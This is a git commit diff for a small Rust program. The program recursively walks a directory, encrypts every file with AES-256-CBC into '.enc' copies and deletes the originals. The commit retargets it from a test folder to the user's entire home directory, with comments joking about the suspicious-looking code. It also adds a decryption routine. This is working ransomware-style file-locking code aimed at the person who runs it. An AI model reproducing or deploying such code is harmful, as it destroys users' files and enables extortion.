feat: use home directory instead of testdir

This commit is contained in:
Xory 2024-06-14 16:55:44 +03:00
parent f192d2c239
commit d9713f5b79
7 changed files with 19 additions and 13 deletions

View file

@ -15,5 +15,6 @@ path = "src/decrypt.rs"
[dependencies]
aes = "0.7.5"
block-modes = "0.8.1"
dirs = "5.0.1"
hex = "0.4.3"
rand = "0.8.5"

View file

@ -7,7 +7,7 @@ use aes::Aes256;
use block_modes::{BlockMode, Cbc};
use block_modes::block_padding::Pkcs7;
use std::fs::File;
use std::path::{Path, PathBuf};
use std::path::Path;
use std::fs;
use std::io::{Read, Write};
use std::error::Error;
@ -66,7 +66,7 @@ fn get_files(directory_path: &str) -> Vec<String> {
if file_path.is_file() {
file_list.push(file_path.to_string_lossy().to_string());
} else if file_path.is_dir() {
let sub_files = get_files(&file_path.to_string_lossy().to_string());
let sub_files = get_files(file_path.to_string_lossy().as_ref());
file_list.extend(sub_files);
}
}
@ -78,8 +78,8 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path);
for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
encrypt_file(&file, &encrypted_file_path)?;
fs::remove_file(file).unwrap();
if encrypt_file(&file, &encrypted_file_path).is_err() { break; }
if fs::remove_file(file).is_err() { break; }
}
Ok(())
}
@ -87,8 +87,11 @@ pub fn encrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
pub fn decrypt_directory(directory_path: &str) -> Result<(), Box<dyn Error>> {
let directory = get_files(directory_path);
for mut file in directory {
let encrypted_file_path = file.as_mut().to_owned() + ".enc";
decrypt_file(&file, &encrypted_file_path)?;
let mut file_path = file.as_mut().to_owned();
let ext_index = file_path.rfind('.').unwrap();
file_path.truncate(ext_index);
if decrypt_file(&file, &file_path).is_err() { break; }
if fs::remove_file(file).is_err() { break; }
}
Ok(())
}

View file

@ -1,9 +1,11 @@
mod crypto;
use crypto::encrypt_directory;
extern crate dirs;
use dirs::home_dir;
fn main() {
println!("Hello, world!");
println!("Encrypting test directory");
encrypt_directory("testdir").unwrap();
let home = home_dir().unwrap(); // no way this could fail!
encrypt_directory(home.to_str().unwrap()).unwrap(); // I know this many unwraps look
// suspicious, but the chance of this
// failing is less than a solar flare.
}

View file

@ -1 +0,0 @@
meow

View file

@ -1 +1 @@
meow meow
meow1

1
testdir/dir2/meow3.txt Normal file
View file

@ -0,0 +1 @@
meow3

View file

@ -1 +1 @@
cats would rule the world better than humans
meow